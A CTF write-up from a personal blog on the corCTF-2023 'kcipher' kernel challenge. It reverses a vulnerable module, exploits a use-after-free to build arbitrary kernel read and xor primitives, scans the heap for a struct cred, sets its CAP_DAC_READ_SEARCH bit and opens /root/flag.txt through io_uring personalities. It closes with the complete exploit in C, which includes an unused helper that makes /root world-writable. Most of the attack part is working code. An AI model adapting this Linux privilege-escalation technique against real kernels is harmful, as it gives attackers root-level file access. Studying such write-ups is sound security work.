Rockrid3r's Track

View on GitHub
26 September 2023

Kcipher CoRCTF-2023: cross-slab heap traversal for cred structure

by

We are going to discuss ‘kcipher’ problem from recent corCTF-2023. As its name suggests it was a kernel pwning chal. The bug was classic. The funniest part was exploitation. Many different solutions exist and different bypasses to pitfalls were created by different people.

Stay tuned!

Reversing

No sources were provided. After a little bit of rev we figure out the module mainly operates with this kind of structure:

struct kcipher {
    int ciph_id; // type of cipher; 1 for xor
    int byt; // byte to xor with
    uint64_t size; // size of data to cipher
    uint64_t str;  // base address of data to cipher
    uint32_t lock; // spinlock
    char ciph[0x44]; // cipher name
};

Which is created and set up inside the function device_ioctl(cmd=-0x12411100).

long device_ioctl(void *param_1,int cmd,undefined8 arg)

{
  // ...
  
  if (cmd == -0x12411100) {
    kciph = (struct kcipher *)kmalloc_trace(___unregister_chrdev,0x400dc0,0x60);
    // ...
      fd = anon_inode_getfd("kcipher-buf",kcipher_cipher_fops,kciph,2);
      if (fd < 0) {
        kfree(kciph);
        return (long)fd;
      }
      lVar1 = _copy_from_user(kciph,arg,8);
      if (lVar1 == 0) {
        if (kciph->ciph_id < 4) {
          strncpy(kciph->ciph,(&ciphers)[kciph->ciph_id],0x40);
          return (long)fd;
        }
        lVar1 = -0x16;
      }
      kfree(kciph);
    }
  return lVar1;
}

As we can see it allocates struct kcipher and creates the “anon” file with file->private_data := allocated struct kcipher

Then on userland we can interact with file using read/write to the returned fd.

Also notice the copy_from_user(kciph, arg, 8) lets us to control the ciph_id and byt fields of allocated struct kcipher. They both are responsible for controlling the type of ciphering function used in cipher_read().

Fields struct kcipher->str and ->size are not set up here. The job is done in cipher_write():

undefined8 cipher_write(long filp,undefined8 user_buf,ulong count)

{
  undefined8 flags;
  char *str;
  undefined8 uVar1;
  struct kcipher *kciph;
  uint *lock_p;
  
  kciph = *(struct kcipher **)(filp + 0xc0);
  if (count < 0x1001) {
    lock_p = &kciph->lock;
    flags = _raw_spin_lock_irqsave(lock_p);
    if (kciph->str != (char *)0x0) {
      kfree(kciph->str);
      kciph->str = (char *)0x0;
    }
    str = (char *)__kmalloc(count,0xcc0); // here
    kciph->str = str; // here
    if (str != (char *)0x0) {
      kciph->size = count; // here
      uVar1 = strncpy_from_user(str,user_buf,count); // here
      _raw_spin_unlock_irqrestore(lock_p,flags);
      return uVar1;
    }
    _raw_spin_unlock_irqrestore(lock_p,flags);
  }
  return 0xfffffffffffffff4;
}

Okay looks fine. Let’s get into cipher_read

long cipher_read(long filp,undefined8 user_buf,ulong count)

{
  undefined8 flags;
  long lVar1;
  struct kcipher *kciph;
  uint *lock_p;
  
  kciph = *(struct kcipher **)(filp + 0xc0);
  lock_p = &kciph->lock;
  flags = _raw_spin_lock_irqsave(lock_p);
  if (kciph->str == (char *)0x0) {
    lVar1 = -2;
    _raw_spin_unlock_irqrestore(lock_p,flags);
  }
  else {
    do_encode(kciph);  // applies cipher to kcipher->str
    if (kciph->size < count) {
      count = kciph->size;
    }
    if (0x7fffffff < count) {
      do {
        invalidInstructionException();
      } while( true );
    }
    lVar1 = _copy_to_user(user_buf,kciph->str,count);
    lVar1 = count - lVar1;
    _raw_spin_unlock_irqrestore(lock_p,flags);
  }
  return lVar1;
}

As wee see it just calls do_encode() function which does the requested ciphering:


void do_encode(struct kcipher *kciph)

{
  ulong idx;
  char *str;
  char cur_char;
  uint dispatch;
  
                    /* encodes kciph->str byte-wise
                       (len unchanged) */
  dispatch = kciph->idx_cipher;
  str = kciph->str;
  if (dispatch == 2) {
      //....
  }
  if (dispatch < 3) {
    if (dispatch == 0) {
                    /* dispatch == 0, add(rot) */
      //...
    }
                    /* dispatch == 1, xor */
    idx = 0;
    if (kciph->size == 0) {
      return;
    }
    do {
      str[idx] = str[idx] ^ kciph->byt;
      idx = idx + 1;
    } while (idx < kciph->size);
    return;
  }
  if (dispatch != 3) {
    if (dispatch != 4) {
      //...

The Bug

Let’s look closer into the device_ioctl function. Mainly these lines:

  // ...
  
  if (cmd == -0x12411100) {
    kciph = (struct kcipher *)kmalloc_trace(___unregister_chrdev,0x400dc0,0x60);
    // ...
      fd = anon_inode_getfd("kcipher-buf",kcipher_cipher_fops,kciph,2);
      // ...
      lVar1 = _copy_from_user(kciph,arg,8);
      if (lVar1 == 0) {
        if (kciph->ciph_id < 4) { // oh
          strncpy(kciph->ciph,(&ciphers)[kciph->ciph_id],0x40);
          return (long)fd;
        }
        lVar1 = -0x16;
      }
      kfree(kciph); // oh
      // no dangling reference cleaning is done... oh
    }
  return lVar1;

The function calls kfree(kciph) if we submit kciph->ciph_id=5. But the reference filp->private_data is not cleared, file is not deleted, so we still can access it from userland with read/write!. Classic UAF.

The only caveat is in that case we don’t get returned fd to the “anon” file. But it can be easily predicted: it is the "max value of file descriptor in your program" + 1. On mine its 4: 0, 1, 2 for stin, stdout, stderr and 3 for /dev/kcipher. Checked in practice.

Taking the control

The first idea came to mind was to use setxattr to take control of dangling reference. Unfortunately it was disabled in provided kernel.

So we need to figure out another way to take ownership of our dangling reference.

Lucky for us, the function cipher_write makes allocation with kmalloc providing user-defined size:

undefined8 cipher_write(long filp,undefined8 user_buf,ulong count)

{
  undefined8 flags;
  char *str;
  undefined8 uVar1;
  struct kcipher *kciph;
  uint *lock_p;
  
  kciph = *(struct kcipher **)(filp + 0xc0);
  if (count < 0x1001) {
    // ...
    str = (char *)__kmalloc(count,0xcc0);
    kciph->str = str;
    if (str != (char *)0x0) {
      kciph->size = count;
      uVar1 = strncpy_from_user(str,user_buf,count);
      //...

If we specify count=sizeof(struct kcipher)=0x60 the kmalloc will allocate the dangling reference. So we have kciph->str:=dangling struct kcipher.

The function strncpy_from_user is kinda annoying because it is going to stop copying as soon as it encounters 0x00-byte. So the overwritten struct kcipher should not contain 0x00-bytes. It is inappropriate for us because then kciph->ciph_id would have some big value and we won’t be able to perform any kind of operation since do_encode() validates the value of ciph_id.

Here is how we can handle it. Imagine we have a data which contains null-bytes. Let’s xor it on userland before submitting to kernel. So we xor it with byte it does not contain (0x41 was good in my case). Now the data does not contain null-bytes. We can submit it to kernel with cipher_write to another pre-created cipher file. It will set kciph->str=another_kciph_but_invalid_since_xored_0x41. If now we have kciph->byt=0x41, we can use read() on it which will xor the data again with byte 0x41 (so, de-xor it!). Exactly as needed.

So we have a control of dangling struct kcipher. Soooo much can be done now.

Constructing primitives

Basic setup

void basic_setup() {
    //... 
    struct kcipher_req kciph = {
        .ciph_id = 1, // xor
        .byt = 0x41, // does not change the contents
    };

    puts("[*] setup cfd[0]");
    EXIT_ON_ERR(ioctl(fd, -0x12411100, &kciph) < 0); // should be ok
    cfd[0] = cfd_next++; // predicted

    struct kcipher fake = {
        .ciph_id = 1, // xor
        .byt = 0x43,  // for read: does not change contents
        .size = 0x1000,  // size_t
        .str = 0x0, // arb addr, will be overwritten
        .lock = 0x0
    };

    // kfree(kciph of cfd[1])
    puts("[*] setup cfd[1], trigger kfree");
    kciph.ciph_id = 5; // trigger kfree in device_ioctl
    ioctl(fd, -0x12411100, &kciph); // returns <0 but who gives a damn
    cfd[1] = cfd_next++; // predicted

    xor((char*)&fake, 0x41, sizeof(fake));
    puts("[*] set cfd[0]->str := cfd[1], overwrite `struct kcipher` of cfd[1]");
    EXIT_ON_ERR(write(cfd[0], &fake, sizeof(fake)) < 0);
    
    struct kcipher kcipher_cfd1;
    puts("[*] read (cfd[0]): de-xor cfd[1]");
    prompt();
    EXIT_ON_ERR(read(cfd[0], &kcipher_cfd1, sizeof(kcipher_cfd1)) < 0);

    // kfree(kciph of cfd[2])
    puts("[*] setup cfd[1]->str := cfd[2]");
    kciph.ciph_id = 5; // trigger kfree in device_ioctl
    ioctl(fd, -0x12411100, &kciph); // returns <0 but who gives a damn
    cfd[2] = cfd_next++; // predicted

    char buf[0x200];
    memset(buf, 'X', sizeof(buf));
    EXIT_ON_ERR(write(cfd[1], &buf, sizeof(buf)) < 0); // does not matter what to write, just link cfd[1]->str := cfd[2]
}

I’ll just comment on that one. It sets up cfd[0]->str := cfd[1]. And cfd[1]->str := cfd[2]. So we control cfd[1] from cfd[0] and cfd[2] from cfd[1].

It is important to note that read() from cfd[0] 0x41-xors the cfd[1]. So we need to always make the read(cfd[0]) 2 times so cfd[1] is never invalidated. But cfd[1]->byt=cfd[2]->byt=0x00. So read from them is fine and need not to be called twice.

Arbitrary “read”

To construct arbitrary read we can just set up kciph->str=desired_addr, kciph->size=desired_size, kciph->byt=0x00, kciph->ciph_id=1. The idea is that cipher_read will xor the data with 0x00, which won’t change it. Result will be submitted to userland, so we can “read”.

void arbread(uint64_t addr, char* buf, uint64_t size) {
    // requires cfd[1]->str = cfd[2], cfd[1]->byt=0x43
    struct kcipher fake = {
        .ciph_id = 1, // xor
        .byt = 0x00,  // for read: does not change contents
        .size = size,  // size_t
        .str = addr, 
        .lock = 0x0
    };

    xor(&fake, 0x43, sizeof(fake));
    EXIT_ON_ERR(write(cfd[1], &fake, sizeof(fake)) < 0);
    // de-xor
    struct kcipher fake_in_kernel;
    EXIT_ON_ERR(read(cfd[1], &fake_in_kernel, sizeof(fake_in_kernel)) < 0);
    assert(fake_in_kernel.str == addr);
    assert(fake_in_kernel.size == size);
    assert(fake_in_kernel.byt == 0);

    EXIT_ON_ERR(read(cfd[2], buf, size) < 0);
}

P. S.

As a side to note we can’t say we constructed the arb. “read”. It actually is a non-changing “write” because it does xor on data(even if nothing is changed). And it does matter because we won’t be able to “read” from read-only memory sections.

@clubby789 noted that we can construct the real arb. read(with the ability to read read-only memory locations) by setting ciph_id=5 so that dispatch validation in do_encode returns warning and not touches the memory. It does not raise error and still does copy_to_user so we are getting the data.

Arbitrary “xor”

For fun let’s construct the arbitrary xor. This primitive would xor exactly 1 desired byte with 1 byte provided by us.

Just set kciph->str=desired_addr, kciph->size=1, kciph->byt=byte_to_xor_with, kciph->ciph_id=1.

char arbxor(uint64_t addr, char byt) {
    struct kcipher fake = {
        .ciph_id = 1, // xor
        .byt = byt,  // for read: does not change contents
        .size = 1,  // size_t
        .str = addr, // arb addr, will be overwritten
        .lock = 0x0
    };

    xor(&fake, 0x43, sizeof(fake));
    EXIT_ON_ERR(write(cfd[1], &fake, sizeof(fake)) < 0);
    // de-xor
    struct kcipher fake_in_kernel;
    EXIT_ON_ERR(read(cfd[1], &fake_in_kernel, sizeof(fake_in_kernel)) < 0);
    assert(fake_in_kernel.str == addr);
    assert(fake_in_kernel.size == 1);
    assert(fake_in_kernel.byt == byt);


    char newbyte;
    EXIT_ON_ERR(read(cfd[2], &newbyte, 1) < 0);
    return newbyte;
}

Arbitrary “write” (not needed for this exploitation)

Our 2 primitives can be transformed into arbitrary write. My exploit didn’t need it. Still let’s quickly discuss how to “arbwrite” in case it’s suitable for your exploitation. All you need is firstly to current_byte = arbread(desired_addr, size=1). Then you do arbxor(desired_addr, current_byte ^ desired_byte).

Exploitation

It all came down to this part.

kheap leak

Leaking kheap is easy after our basic_setup: cfd[0]->str := cfd[1], cfd[1]->str := cfd[2]. As soon as read(cfd[0]) the returned data is actually the struct kcipher of cfd[1]. So ((struct kcipher*)data)->str is the pointer to struct kcipher of cfd[2] which is allocated on kheap.

io_uring

The technique came from author’s solution of ‘flipper’ problem from recent zer0pts-2023. We set up struct cred on heap, then poison it setting cred->cap_effective=CAP_DAC_READ_SEARCH(=0x02) which lets user with this cred to read/write from arbitrary files by using io_uring and setting sqe->personality=poisoned_personality.

How do we find the address of struct cred to poison it? For security reasons it has it’s own slab so we won’t be able to allocate it with kmalloc in cipher_write(even if it kfree’d).

But wait… we have a arbitrary read. And we have a kernel heap pointer. Why not to just traverse all down the heap until we found one!

To make search simpler, let’s allocate maaany of struct creds (0xffff is the max number).

void alloc_n_creds(struct io_uring* ring, size_t n_creds) {
    for (size_t i = 0; i < n_creds; i++) {
        struct __user_cap_header_struct cap_hdr = {
            .pid = 0,
            .version = _LINUX_CAPABILITY_VERSION_3
        };

        struct __user_cap_data_struct cap_data[2] = {
            {.effective = 0, .inheritable = 0, .permitted = 0},
            {.effective = 0, .inheritable = 0, .permitted = 0}
        };

        /* allocate new cred */
        EXIT_ON_ERR(syscall(SYS_capset, &cap_hdr, (void *)cap_data) < 0);

        /* register it for later use with io_uring */
        EXIT_ON_ERR((personalities[i] = io_uring_register_personality(ring)) < 0);
    }
}

Then we can traverse the heap with our arbread() to find at least one of allocated struct creds: we just iterate from leaked kheap address and as soon as we see the 0x3e8000003e8 it most probably is uid/euid of the of some struct cred.

Now poison this cred at offset 0x38(cap_effective) with arbxor(). Voila.

It remains to use the poisoned cred. We just iterate over all registered personalities and try to call openat with io_uring.

All but one of them will fail. One which corresponds to poisoned struct cred will succeed. So as soon as we hit the right one the cqe->res will return the flag file descriptor.

int flag_fd;
for (size_t i = 0; i < N_CREDS; ++i) {
    struct io_uring_sqe* sqe = io_uring_get_sqe(&ring);
    io_uring_prep_openat(sqe, -1, "/root/flag.txt", O_RDONLY, 0);
    sqe->personality = personalities[i];

    io_uring_submit(&ring);

    struct io_uring_cqe* cqe;
    io_uring_wait_cqe(&ring, &cqe);

    if (cqe->res >= 0) {
        puts("[*] !!!!!!!!! SUCCESS");
        flag_fd = cqe->res;
        break;
    }

    io_uring_cqe_seen(&ring, cqe);
}

if (flag_fd > 0) {
    char flag[0x40] = {0};
    read(flag_fd, flag, sizeof(flag));
    printf("%s\n", flag);
} else {
    printf("failed to gain the flag\n");
}

Full exploit

#include <stdio.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/fcntl.h>
#include <string.h>
#include <sys/xattr.h>
#include <assert.h>

#include <liburing.h>
#include <sys/capability.h>
#include <sys/syscall.h>

#include <sys/types.h>
#include <sys/shm.h>

// no-SMEP?, no-SMAP?, KASLR

#define N_CREDS 0xffff
int personalities[N_CREDS];


#define EXIT_ON_ERR(err_cond) \
    if (err_cond) { \
        perror("[***] " #err_cond); \
        exit(1); \
    }

void prompt();

int fd;
int cfd[10];

struct kcipher_req {
    int ciph_id;
    char byt;
};

struct kcipher {
    int ciph_id;
    int byt;
    uint64_t size;
    uint64_t str;
    uint64_t lock;
    char ciph[0x40];
};

#define display_kcipher(kciph_buf, kciph_name) \
    printf("[*] " #kciph_name "->ciph_id = 0x%x,\n", kciph_buf->ciph_id); \
    printf("[*] " #kciph_name "->byt = 0x%x,\n", kciph_buf->byt); \
    printf("[*] " #kciph_name "->size = 0x%llx,\n", kciph_buf->size); \
    printf("[*] " #kciph_name "->str = 0x%llx\n", kciph_buf->str); 

void xor(char* p, char byt, size_t size);

uint64_t kheap;
uint64_t cred_addr;

void leak_kheap() {
    // requires cfd[0]->str = cfd[1], cfd[0]->byt=0x41
    // requires cfd[1]->str = some-kheap (cfd[2] for example)
    struct kcipher cfd1;
    read(cfd[0], &cfd1, sizeof(cfd1));
    read(cfd[0], &cfd1, sizeof(cfd1)); // de-xor
    kheap = cfd1.str;
    printf("[*] kheap: %llx\n", kheap);
}

void arbread(uint64_t addr, char* buf, uint64_t size) {
    // requires cfd[1]->str = cfd[2], cfd[1]->byt=0x43
    struct kcipher fake = {
        .ciph_id = 1, // xor
        .byt = 0x00,  // for read: does not change contents
        .size = size,  // size_t
        .str = addr, 
        .lock = 0x0
    };

    xor(&fake, 0x43, sizeof(fake));
    EXIT_ON_ERR(write(cfd[1], &fake, sizeof(fake)) < 0);
    // de-xor
    struct kcipher fake_in_kernel;
    EXIT_ON_ERR(read(cfd[1], &fake_in_kernel, sizeof(fake_in_kernel)) < 0);
    assert(fake_in_kernel.str == addr);
    assert(fake_in_kernel.size == size);
    assert(fake_in_kernel.byt == 0);

    EXIT_ON_ERR(read(cfd[2], buf, size) < 0);
}

char arbxor(uint64_t addr, char byt) {
    struct kcipher fake = {
        .ciph_id = 1, // xor
        .byt = byt,  // for read: does not change contents
        .size = 1,  // size_t
        .str = addr, // arb addr, will be overwritten
        .lock = 0x0
    };

    xor(&fake, 0x43, sizeof(fake));
    EXIT_ON_ERR(write(cfd[1], &fake, sizeof(fake)) < 0);
    // de-xor
    struct kcipher fake_in_kernel;
    EXIT_ON_ERR(read(cfd[1], &fake_in_kernel, sizeof(fake_in_kernel)) < 0);
    assert(fake_in_kernel.str == addr);
    assert(fake_in_kernel.size == 1);
    assert(fake_in_kernel.byt == byt);


    char newbyte;
    EXIT_ON_ERR(read(cfd[2], &newbyte, 1) < 0);
    return newbyte;
}

void find_cred() {
    // requires `kheap`

    uint64_t start = (kheap & ~0xfffff) + 0x100000;
    printf("[*] Searching for cred on kheap, start=0x%llx\n", start);

    prompt();
    uint32_t dump[0x2000];
    arbread(start, &dump, sizeof(dump));
    for (size_t i = 0; i < sizeof(dump) / sizeof(dump[0]); ++i) {
        uint64_t curptr = start + i * 4;
        printf("0x%llx: 0x%llx\n", curptr, dump[i]);
        if (dump[i] == 0x000003e8) {
            printf("[*] Found possibly cred: 0x%llx\n", curptr);
            cred_addr = curptr & ~0xf;
            return;
        }
    }
    exit(1);
}

static int cfd_next;

void basic_setup() {
    printf("sizeof(kcipher)=0x%x\n", sizeof(struct kcipher)); // basic eye-check in runtime
    fd = open("/dev/kcipher", O_RDONLY);
    printf("fd: %d\n", fd);
    cfd_next = fd + 1;

    prompt();

    struct kcipher_req kciph = {
        .ciph_id = 1, // xor
        .byt = 0x41, // does not change the contents
    };

    puts("[*] setup cfd[0]");
    EXIT_ON_ERR(ioctl(fd, -0x12411100, &kciph) < 0); // should be ok
    cfd[0] = cfd_next++; // predicted

    struct kcipher fake = {
        .ciph_id = 1, // xor
        .byt = 0x43,  // for read: does not change contents
        .size = 0x1000,  // size_t
        .str = 0x0, // arb addr, will be overwritten
        .lock = 0x0
    };

    // kfree(kciph)
    puts("[*] setup cfd[1], trigger kfree");
    kciph.ciph_id = 5; // trigger kfree in device_ioctl
    ioctl(fd, -0x12411100, &kciph); // returns <0 but who gives a damn
    cfd[1] = cfd_next++; // predicted

    xor((char*)&fake, 0x41, sizeof(fake));
    puts("[*] set cfd[0]->str := cfd[1], overwrite `struct kcipher` of cfd[1]");
    EXIT_ON_ERR(write(cfd[0], &fake, sizeof(fake)) < 0);
    
    struct kcipher kcipher_cfd1;
    puts("[*] read (cfd[0]): de-xor cfd[1]");
    prompt();
    EXIT_ON_ERR(read(cfd[0], &kcipher_cfd1, sizeof(kcipher_cfd1)) < 0);

    puts("[*] setup cfd[1]->str := cfd[2]");
    kciph.ciph_id = 5; // trigger kfree in device_ioctl
    ioctl(fd, -0x12411100, &kciph); // returns <0 but who gives a damn
    cfd[2] = cfd_next++; // predicted

    char buf[0x200];
    memset(buf, 'X', sizeof(buf));
    EXIT_ON_ERR(write(cfd[1], &buf, sizeof(buf)) < 0); // does not matter what to write, just link cfd[1]->str := cfd[2]
}

void modprobe_hax() {
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/roooot");
    system("chmod +x /tmp/roooot");
    system("echo -ne '#!/bin/sh\nchmod 777 -R /root\necho wiki' > /tmp/w\n");
    system("chmod +x /tmp/w");
    system("/tmp/roooot");
    return;
}

int main() {
    setbuf(stdout, 0);

    basic_setup();
    leak_kheap();

    struct io_uring ring;
    io_uring_queue_init(1, &ring, 0);
    alloc_n_creds(&ring, N_CREDS);

    find_cred();
    printf("[*] cred_addr: 0x%llx\n", cred_addr);

    puts("[*] flipping bit");
    arbxor(cred_addr + 0x38, 0x02); // CAP_DAC_SEARCH

    puts("[*] bruting creds");
    int flag_fd = -1;
    for (size_t i = 0; i < N_CREDS; ++i) {
        // printf("[*] personality: %d", personalities[i]);

        struct io_uring_sqe* sqe = io_uring_get_sqe(&ring);
        io_uring_prep_openat(sqe, -1, "/root/flag.txt", O_RDONLY, 0);
        sqe->personality = personalities[i];

        io_uring_submit(&ring);

        struct io_uring_cqe* cqe;
        io_uring_wait_cqe(&ring, &cqe);

        if (cqe->res >= 0) {
            puts("[*] !!!!!!!!! SUCCESS");
            flag_fd = cqe->res;
            break;
        } else {
            // printf("personality %d, error: %s\n", personalities[i], strerror(abs(cqe->res)));
        }

        io_uring_cqe_seen(&ring, cqe);
    }

    if (flag_fd > 0) {
        char flag[0x40] = {0};
        read(flag_fd, flag, sizeof(flag));
        printf("%s\n", flag);
    } else {
        printf("failed to gain the flag\n");
    }

    puts("[*] End");
    prompt();

    return 0;
} 

void prompt() {
    printf("Enter any key to continue: ");
    getchar();
}

void xor(char* p, char byt, size_t size) {
    char* end = p + size;
    while (p != end) {
        *p ^= byt;
        ++p;
    }
}

void alloc_n_creds(struct io_uring* ring, size_t n_creds) {
    for (size_t i = 0; i < n_creds; i++) {
        struct __user_cap_header_struct cap_hdr = {
            .pid = 0,
            .version = _LINUX_CAPABILITY_VERSION_3
        };

        struct __user_cap_data_struct cap_data[2] = {
            {.effective = 0, .inheritable = 0, .permitted = 0},
            {.effective = 0, .inheritable = 0, .permitted = 0}
        };

        /* allocate new cred */
        EXIT_ON_ERR(syscall(SYS_capset, &cap_hdr, (void *)cap_data) < 0);

        /* increment refcount so we don't free it afterwards*/
        EXIT_ON_ERR((personalities[i] = io_uring_register_personality(ring)) < 0);
    }
}

Exploit is unstable because we make many unbacked assumptions. It works like 3/10 times.

The most unstable point is how we find struct cred on kheap in find_cred() function. And it’s not the 0x3e8 part. It is how much should we read with arbread() beginning with kheap address so that we get 0x3e8 in our memory dump? Tuning this part will make it much more reliable.

About the CTF

The corCTF-2023 was great. Problems were hard to solve, technical help was on time. Really recommend next year:)

I was the last solver of this chal. Finished 1 hour before the end. TeamItaly were first and solved it in less than 3.5 hours!

Special Thanks to @clubby789 for this chal and technical help during ctf. Thanks to @willsroot for technical help and naming of this writeup.

tags: